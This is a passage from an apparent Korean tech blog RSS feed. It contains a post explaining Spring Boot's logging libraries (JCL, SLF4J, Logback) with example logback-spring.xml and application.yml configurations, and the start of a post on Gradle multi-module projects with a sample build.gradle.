      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;스프링 개발을 하다보면 자연스레 Lombok의 &lt;code&gt;@Slf4j&lt;/code&gt; 를 사용해 &lt;code&gt;log.info()&lt;/code&gt; 등 로그를 남겼다. 이번 기회에 &lt;code&gt;Jcl&lt;/code&gt;, &lt;code&gt;Log4j&lt;/code&gt;, &lt;code&gt;Slf4j&lt;/code&gt;, &lt;code&gt;Logback&lt;/code&gt;용어 정리와 많이 사용되는 &lt;code&gt;Logback&lt;/code&gt; 설정에 대해 정리해놓고자한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;스프링 부트는 어떤 Logger를 사용하고 있나&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스프링에는 크게 &lt;code&gt;Jcl(Jakarta Common Logging)&lt;/code&gt;, &lt;code&gt;Slf4j&lt;/code&gt; 두개의 &lt;b&gt;로깅 추상화 라이브러리&lt;/b&gt;가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두개 모두 인터페이스만 존재하기에 구현체가 필요한데 &lt;code&gt;Jcl&lt;/code&gt;의 구현체는 &lt;code&gt;Log4j&lt;/code&gt;, &lt;code&gt;Slf4j&lt;/code&gt;의 구현체는 &lt;code&gt;Logback&lt;/code&gt;이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스프링 부트는 기본적으로 &lt;code&gt;Jcl&lt;/code&gt;에 구현체 &lt;code&gt;Logback&lt;/code&gt; 이 사용된다.&lt;br /&gt;&lt;code&gt;spring-boot-starter&lt;/code&gt; 의존성에 &lt;code&gt;spring-boot-starter-logging&lt;/code&gt;이 들어있고 안에는 &lt;code&gt;logback&lt;/code&gt; 의존성이 들어있다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159283520-5342cc60-261c-4eb2-aae8-b90b8ed82096.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 &lt;code&gt;Logback&lt;/code&gt;은 &lt;code&gt;Slf4j&lt;/code&gt;의 구현체인데 어떻게 같이 사용되나 궁금할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 여러글을 찾아보면 모두 &lt;code&gt;jcl-over-slf4j&lt;/code&gt; 의존성의 어댑터 패턴을 사용해 연결했다 써있지만 내가 쓰고 있는 스프링부트 버전에는 보이지 않아 직접 어댑터 부분을 찾아봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 &lt;code&gt;Slf4j&lt;/code&gt; &lt;code&gt;Logger&lt;/code&gt;의 구현체는 다음처럼 &lt;code&gt;logback&lt;/code&gt;을 패키지를 사용한걸 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159283853-58be1bc9-0178-413e-8681-8d3028cd06f1.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 &lt;code&gt;JCL&lt;/code&gt;을 로그를 사용해보자&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159283899-6f1b4e1b-2b15-4e9f-b613-9dcbaac5b296.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;JCL&lt;/code&gt; 로그의 구체적 클래스는 다음과 같이 &lt;code&gt;LogAdapter&lt;/code&gt;의 &lt;code&gt;Slf4jLocationAwareLog&lt;/code&gt; 이 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;LogAdapter&lt;/code&gt;의 &lt;code&gt;Slf4jLocationAwareLog&lt;/code&gt; 객체를 생성하는 부분이다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159283919-1f69ab90-0059-4f57-8a55-a409ba810bec.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Slf4jLocationAwareLog&lt;/code&gt;의 생성자 인자로 &lt;code&gt;LocationAwareLogger&lt;/code&gt;를 받는데 이는 위 &lt;code&gt;Slf4j&lt;/code&gt;와 같은 &lt;code&gt;slf4j.Logger&lt;/code&gt;를 상속받아 사용한다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159283936-4eb83406-4257-4f43-84f7-7c3e7ed28bc2.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론은 &lt;code&gt;JCL&lt;/code&gt;을 사용해도 결국 &lt;code&gt;LogAdapter&lt;/code&gt;를 통해 &lt;code&gt;Slf4j&lt;/code&gt;의 &lt;code&gt;Logback&lt;/code&gt;을 사용하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 &lt;code&gt;JCL&lt;/code&gt;은 명확한 단점(로그레벨 처리, 문자열 연산 등)들이 존재하기에 많은 개발자들이 &lt;code&gt;Lombok&lt;/code&gt; &lt;code&gt;@Slf4j&lt;/code&gt; 를 사용할 것 이다. &lt;code&gt;@Slf4j&lt;/code&gt;를 사용하면 &lt;code&gt;JCL&lt;/code&gt;을 사용하지 않고 바로 &lt;code&gt;Slf4j&lt;/code&gt; 추상 라이브러리를 사용할 수 있다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;Logback 설정&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Log Level&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그를 작성할 때 레벨을 설정해 원하는 로그만 출력시킬 수 있다. 로그 레벨은 총 5단계다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;TRACE&lt;/code&gt; &amp;lt; &lt;code&gt;DEBUG&lt;/code&gt; &amp;lt; &lt;code&gt;INFO&lt;/code&gt; &amp;lt; &lt;code&gt;WARN&lt;/code&gt; &amp;lt; &lt;code&gt;ERROR&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 순서대로 레벨을 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 출력 레벨을 &lt;code&gt;INFO&lt;/code&gt; 로 설정시 &lt;code&gt;TRACE&lt;/code&gt;, &lt;code&gt;DEBUG&lt;/code&gt; 레벨은 무시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력 레벨은 &lt;code&gt;application.yml&lt;/code&gt; 을 통해 설정할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;java&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;logging:
  level:
    root: debug&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159283961-1a556ec1-8ca6-4729-9b4f-2de9310f5aff.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159283980-c56d2c71-5c4a-4a5d-8d84-baf88bb99a9a.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;debug&lt;/code&gt;로 설정했기 때문에 &lt;code&gt;trace&lt;/code&gt;는 출력되지 않음을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 특정 패키지부분만 다르게 하고싶다면 다음과 같이 패키지 경로에 레벨을 설정한다.&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;logging:
  level:
    root: debug
    jpabook.jpashop.test: trace #특정 패키지 경로&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;logback-spring.xml&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위처럼 &lt;code&gt;.yml&lt;/code&gt; 을 통해 로그를 설정할 수 있지만 자세한 동작 변경을 원한다면 &lt;code&gt;.xml&lt;/code&gt;파일을 이용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 &lt;code&gt;src/main/resources&lt;/code&gt; 하위에 &lt;code&gt;logback-spring.xml&lt;/code&gt; 파일을 생성하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용되는 &lt;b&gt;태그&lt;/b&gt;의 의미는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;appender&amp;gt;&lt;/code&gt;: 로그 형태 설정, 로그 메세지 출력 대상(콘솔, 파일) 결정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;encoder&amp;gt;&lt;/code&gt;: &lt;code&gt;&amp;lt;appender&amp;gt;&lt;/code&gt; 하위에 위치해 로그메세지 변환 역할&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;pattern&amp;gt;&lt;/code&gt;: &lt;code&gt;&amp;lt;encoder&amp;gt;&lt;/code&gt; 하위에 위치해 로그의 출력 포맷설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;root&amp;gt;&lt;/code&gt;: 로그 전역 설정 로그를 출력할 패키지, 레벨 설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;logger&amp;gt;&lt;/code&gt;: 로그 지역 설정 &lt;code&gt;additivity&lt;/code&gt; 값은 &lt;code&gt;&amp;lt;root&amp;gt;&lt;/code&gt; 설정 상속 유무&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;file&amp;gt;&lt;/code&gt;: 로그 기록할 파일명, 경로&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;rollingPolicy&amp;gt;&lt;/code&gt;: 로그 파일을 교체하는 정책을 정하는 태그&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;fileNamePattern&amp;gt;&lt;/code&gt;: &lt;code&gt;rollingPolicy&lt;/code&gt; 하위에서 로그 파일 패턴 설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;property&amp;gt;&lt;/code&gt;: 값을 정하는 프로퍼티&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;springProperty&amp;gt;&lt;/code&gt;: &lt;code&gt;application.yml&lt;/code&gt; 의 값을 가져올 수 있는 태그&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;springProfile&amp;gt;&lt;/code&gt;: 스프링 프로필에 따라 값 설정하는 태그&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;timeBasedFileNamingAndTriggeringPolicy&amp;gt;&lt;/code&gt;: 파일 교체하는 트리거 내용 설정&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;maxFileSize&amp;gt;&lt;/code&gt;: 파일 최대 크기 설정(&lt;code&gt;&amp;lt;timeBasedFileNamingAndTriggeringPolicy&amp;gt;&lt;/code&gt; 하위 설정)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;maxHistory&amp;gt;&lt;/code&gt;: 파일 최대 저장 기한 설정(&lt;code&gt;&amp;lt;timeBasedFileNamingAndTriggeringPolicy&amp;gt;&lt;/code&gt; 하위 설정)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;totalSizeCap&amp;gt;&lt;/code&gt;: 파일 전체 크기를 설정해 넘을시 오래된 파일부터 삭제(&lt;code&gt;&amp;lt;timeBasedFileNamingAndTriggeringPolicy&amp;gt;&lt;/code&gt; 하위 설정)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;콘솔 로그 출력 설정&lt;/h3&gt;
&lt;pre class=&quot;dust&quot;&gt;&lt;code&gt;&amp;lt;!-- logback.spring.xml --&amp;gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;configuration&amp;gt;
    &amp;lt;!-- 로그 출력 패턴 property --&amp;gt;
    &amp;lt;property name=&quot;LOG_PATTERN&quot; value=&quot;%-5level %d{yy-MM-dd HH:mm:ss}[%thread] [%logger{0}:%line] - %msg%n&quot;/&amp;gt;

    &amp;lt;!-- application.yml의 source에 해당하는 값 가져옴 --&amp;gt;
    &amp;lt;springProperty scope=&quot;context&quot; name=&quot;LOG_LEVEL&quot; source=&quot;logging.level.test&quot;/&amp;gt;

    &amp;lt;!-- ch.qos.logback.core.ConsoleAppender클래스를 지정하여 콘솔에 로그 출력 설정 --&amp;gt;
    &amp;lt;appender name=&quot;CONSOLE&quot; class=&quot;ch.qos.logback.core.ConsoleAppender&quot;&amp;gt;
        &amp;lt;encoder class=&quot;ch.qos.logback.classic.encoder.PatternLayoutEncoder&quot;&amp;gt;
            &amp;lt;!-- 위에 정의한 LOG_PATTERN으로 패턴 설정 --&amp;gt;
            &amp;lt;pattern&amp;gt;${LOG_PATTERN}&amp;lt;/pattern&amp;gt;
        &amp;lt;/encoder&amp;gt;
    &amp;lt;/appender&amp;gt;

    &amp;lt;!-- jpabook.jpashop.test 패키지 지역의 로그 설정 --&amp;gt;
    &amp;lt;logger name=&quot;jpabook.jpashop.test&quot; level=&quot;warn&quot; additivity=&quot;true&quot;&amp;gt;
        &amp;lt;appender-ref ref=&quot;CONSOLE&quot;/&amp;gt;
    &amp;lt;/logger&amp;gt;

    &amp;lt;!-- 프로젝트 전역 로그 설정 --&amp;gt;
    &amp;lt;root level=&quot;info&quot;&amp;gt;
        &amp;lt;appender-ref ref=&quot;CONSOLE&quot;/&amp;gt;
    &amp;lt;/root&amp;gt;
&amp;lt;/configuration&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;java&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;#application.yml
logging:
  level:
    test: warn&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159283961-1a556ec1-8ca6-4729-9b4f-2de9310f5aff.png&quot; alt=&quot;jpabook.jpashop.test&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jpabook.jpashop.test&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159284009-f7c7fc25-7dfa-40bf-9a4b-039b3e402fc3.png&quot; alt=&quot;결과&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 결과를 보면 &lt;code&gt;warn&lt;/code&gt; 2번, &lt;code&gt;error&lt;/code&gt; 두번이 출력됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이유는 &lt;code&gt;&amp;lt;logger&amp;gt;&lt;/code&gt; 태그에 &lt;code&gt;additivity=true&lt;/code&gt;가 선언됐기 때문인데 &lt;code&gt;additivity&lt;/code&gt;는 부모 &lt;code&gt;&amp;lt;logger&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;root&amp;gt;&lt;/code&gt; 의 &lt;code&gt;appender&lt;/code&gt;를 상속할지 여부이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;additivity=true&lt;/code&gt;이면 &lt;code&gt;&amp;lt;logger&amp;gt;&lt;/code&gt;의 부모인 &lt;code&gt;&amp;lt;root&amp;gt;&lt;/code&gt;의 &lt;code&gt;appender&lt;/code&gt;도 표현되기 때문에 두번씩 출력되는 결과를 볼 수 있다. 다시 말하면 &lt;code&gt;additivity=false&lt;/code&gt;이면 &lt;code&gt;&amp;lt;root&amp;gt;&lt;/code&gt;로 전달되지 않고 &lt;code&gt;&amp;lt;logger&amp;gt;&lt;/code&gt;의 &lt;code&gt;appneder&lt;/code&gt;만 출력된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;파일 &lt;b&gt;로그 출력 설정&lt;/b&gt;&lt;/h3&gt;
&lt;pre class=&quot;dust&quot;&gt;&lt;code&gt;&amp;lt;!-- logback-spring.xml --&amp;gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;configuration&amp;gt;
    &amp;lt;!-- 로그 패턴 --&amp;gt;
    &amp;lt;property name=&quot;LOG_PATTERN&quot; value=&quot;%-5level %d{yy-MM-dd HH:mm:ss}[%thread] [%logger{0}:%line] - %msg%n&quot;/&amp;gt;

    &amp;lt;!-- application.yml의 source에 해당하는 값 가져옴 --&amp;gt;
    &amp;lt;springProperty scope=&quot;context&quot; name=&quot;LOG_LEVEL&quot; source=&quot;logging.level.test&quot;/&amp;gt;

    &amp;lt;!-- profile이 local인 경우 property 설정--&amp;gt;
    &amp;lt;springProfile name=&quot;local&quot;&amp;gt;
        &amp;lt;property name=&quot;PATH&quot; value=&quot;./logs/test-local.log&quot;/&amp;gt;
    &amp;lt;/springProfile&amp;gt;

    &amp;lt;!-- ch.qos.logback.core.rolling.RollingFileAppender클래스를 지정하여 여러 파일을 순회하며 로그 저장 설정 --&amp;gt;
    &amp;lt;appender name=&quot;FILE&quot; class=&quot;ch.qos.logback.core.rolling.RollingFileAppender&quot;&amp;gt;
        &amp;lt;!-- 파일 경로 및 이름 --&amp;gt;
        &amp;lt;file&amp;gt;${PATH}&amp;lt;/file&amp;gt;
        &amp;lt;encoder class=&quot;ch.qos.logback.classic.encoder.PatternLayoutEncoder&quot;&amp;gt;
            &amp;lt;pattern&amp;gt;${LOG_PATTERN}&amp;lt;/pattern&amp;gt;
        &amp;lt;/encoder&amp;gt;
        &amp;lt;!-- 로그파일을 교체하는 정책 TimeBasedRollingPolicy: 시간 단위 --&amp;gt;
        &amp;lt;rollingPolicy class=&quot;ch.qos.logback.core.rolling.TimeBasedRollingPolicy&quot;&amp;gt;
            &amp;lt;!-- 파일 이름 --&amp;gt;
            &amp;lt;fileNamePattern&amp;gt;./logs/time.%d{yyyy-MM-dd}.%i.log&amp;lt;/fileNamePattern&amp;gt;
            &amp;lt;!-- 특정 액션에 따라 파일 교체 --&amp;gt;
            &amp;lt;timeBasedFileNamingAndTriggeringPolicy class=&quot;ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP&quot;&amp;gt;
                &amp;lt;!-- 최대 사이즈 --&amp;gt;
                &amp;lt;maxFileSize&amp;gt;5KB&amp;lt;/maxFileSize&amp;gt;
                &amp;lt;!--&amp;lt;maxHistory&amp;gt;10&amp;lt;/maxHistory&amp;gt;--&amp;gt; &amp;lt;!-- 파일의 최대 저장 기한  --&amp;gt;
                &amp;lt;!--&amp;lt;totalSizeCap&amp;gt;3GB&amp;lt;/totalSizeCap&amp;gt;--&amp;gt; &amp;lt;!-- 전체 파일 크기를 제어하며, 용량을 초과하면 가장 오래된 파일 삭제 --&amp;gt;
            &amp;lt;/timeBasedFileNamingAndTriggeringPolicy&amp;gt;
        &amp;lt;/rollingPolicy&amp;gt;
    &amp;lt;/appender&amp;gt;

    &amp;lt;root level=&quot;info&quot;&amp;gt;
        &amp;lt;appender-ref ref=&quot;FILE&quot;/&amp;gt;
    &amp;lt;/root&amp;gt;
&amp;lt;/configuration&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;java&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;#application.yml
spring:
  profiles:
    active: local
logging:
  level:
    test: info&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/32676275/159284031-1714ebe6-9afd-43de-af0d-d61ba65ae6e1.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 보면 &lt;code&gt;&amp;lt;springProfile&amp;gt;&lt;/code&gt; 을 &lt;code&gt;local&lt;/code&gt;로 설정했기에 &lt;code&gt;test-local.log&lt;/code&gt;라는 이름으로 로그 파일 생성된 것을 볼 수 있다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/206&quot;&gt;https://goddaehee.tistory.com/206&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dololak.tistory.com/635&quot;&gt;https://dololak.tistory.com/635&lt;/a&gt;&lt;/p&gt;</description>
      <category>스프링</category>
      <category>logback</category>
      <category>로거</category>
      <category>로그백</category>
      <category>로깅</category>
      <category>스프링 log</category>
      <category>스프링 logback</category>
      <category>스프링 로그</category>
      <category>스프링 로깅</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/56</guid>
      <comments>https://cjw-awdsd.tistory.com/56#entry56comment</comments>
      <pubDate>Mon, 21 Mar 2022 23:40:14 +0900</pubDate>
    </item>
    <item>
      <title>[스프링] 멀티 모듈(Multi Module) 개념/예제 feat. Gradle</title>
      <link>https://cjw-awdsd.tistory.com/55</link>
      <description>
&lt;p data-ke-size=&quot;size16&quot;&gt;최근 진행하는 토이 프로젝트의 API 서버는 서로 독립된 프로젝트 2개로 이루어져있었다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인증 서버&lt;/li&gt;
&lt;li&gt;어플리케이션 서버&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 기능 구현 자체에 초점을 맞추고 각자의 프로젝트 크기도 크지 않아서 불편함을 느끼지 못했다. 하지만 프로젝트를 진행하면서 크기가 커지면서 &lt;code&gt;domain&lt;/code&gt; 을 각각 프로젝트에 선언했기 때문에 동일성을 보장하기 위해 똑같은 작업을 두개의 &lt;code&gt;Applicaton&lt;/code&gt;에 작업을 해줘야했다. 또한 공통적인 &lt;code&gt;Repository&lt;/code&gt;도 각 &lt;code&gt;Application&lt;/code&gt;에서 작성해줘야하는게 여간 번거로운게 아니었고, 똑같은 코드가 생긴다는게 썩 마음에 들지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 알아보던중 &lt;b&gt;멀티 모듈(Multi Module)&lt;/b&gt;에 대해 알게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 글에서는 &lt;b&gt;멀티 모듈 개념/예제&lt;/b&gt;에 대해 알아보자.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h1&gt;멀티 모듈 이란?&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;멀티 모듈&lt;/b&gt;이란 서로 독립적인 프로젝트(&lt;code&gt;인증&lt;/code&gt;, &lt;code&gt;어플리케이션&lt;/code&gt;)를 하나의 프로젝트로 묶어 &lt;b&gt;모듈&lt;/b&gt;로서 사용되는 구조를 말한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;멀티 모듈을 사용하면 공통적인 기능을 모아 하나의 모듈로 만드는 것이 가능하다. 즉, 인증과 어플리케이션에서 공통으로 사용하는 &lt;code&gt;util&lt;/code&gt;, &lt;code&gt;domain&lt;/code&gt;, &lt;code&gt;Repository&lt;/code&gt;등을 모듈로 분리해 사용할 수 있는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;멀티 모듈에 관련해 더 자세하게 알고 싶은 경우 아래 글을 참고하길 바란다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://techblog.woowahan.com/2637/&quot;&gt;https://techblog.woowahan.com/2637/&lt;/a&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h1&gt;멀티 모듈 간단 예제&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 간단하게 Gradle을 사용해 멀티 모듈 프로젝트를 만들어보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 모듈들을 모을 Gradle 프로젝트를 하나 만들어주자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1590&quot; data-origin-height=&quot;1300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dbOAky/btrowkBJ82e/hXAASNp7eN5gxYctzJKokK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dbOAky/btrowkBJ82e/hXAASNp7eN5gxYctzJKokK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbOAky/btrowkBJ82e/hXAASNp7eN5gxYctzJKokK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdbOAky%2FbtrowkBJ82e%2FhXAASNp7eN5gxYctzJKokK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;491&quot; height=&quot;401&quot; data-origin-width=&quot;1590&quot; data-origin-height=&quot;1300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MacOS IntelliJ 기준 File&amp;rarr;New&amp;rarr;Project 경로에 위의 사진처럼 Gradle 프로젝트를 하나 생성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;614&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uzobi/btroualBrpq/D71YI2ZfY2lkNkScPFe40k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uzobi/btroualBrpq/D71YI2ZfY2lkNkScPFe40k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uzobi/btroualBrpq/D71YI2ZfY2lkNkScPFe40k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuzobi%2FbtroualBrpq%2FD71YI2ZfY2lkNkScPFe40k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;401&quot; height=&quot;340&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;614&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 위와 같은 구조의 프로젝트가 생성된다. 일단 모듈을 담을 프로젝트이기때문에 src폴더가 필요없기 때문에 &lt;b&gt;src폴더는 삭제해주자&lt;/b&gt; 그리고 &lt;code&gt;build.gradle&lt;/code&gt; 아래와 같이 입력한다.&lt;/p&gt;
&lt;pre class=&quot;gradle&quot;&gt;&lt;code&gt;buildscript {
    ext {
        springBootVersion = '2.4.3'
    }
    repositories {
        mavenCentral()
    }
    dependencies {
        classpath(&quot;org.springframework.boot:spring-boot-gradle-plugin:${springBootVersion}&quot;)
        classpath &quot;io.spring.gradle:dependency-management-plugin:1.0.11.RELEASE&quot;
    }
}

allprojects {}

subprojects {
    apply plugin: 'java'
    apply plugin: 'org.springframework.boot'
    apply plugin: 'io.spring.dependency-management'

    group = 'kr.multi.ex'
    version = '1.0'
    sourceCompatibility = '11'

    repositories {
        mavenCentral()
    }

    dependencies {
        compileOnly 'org.projectlombok:lombok:1.18.16'
        annotationProcessor 'org.projectlombok:lombok:1.18.16'
        testImplementation 'org.springframework.boot:spring-boot-starter-test'
        testImplementation('org.springframework.boot:spring-boot-starter-test') {
            exclude group: 'org.junit.vintage', module: 'junit-vintage-engine'
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;위의 큰 3개의 Closure를 간단하게 설명하면 다음과 같다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;buildscript&lt;/code&gt; : &lt;code&gt;Gradle&lt;/code&gt; 이 빌드되기전 실행되는 설정&lt;/p&gt;
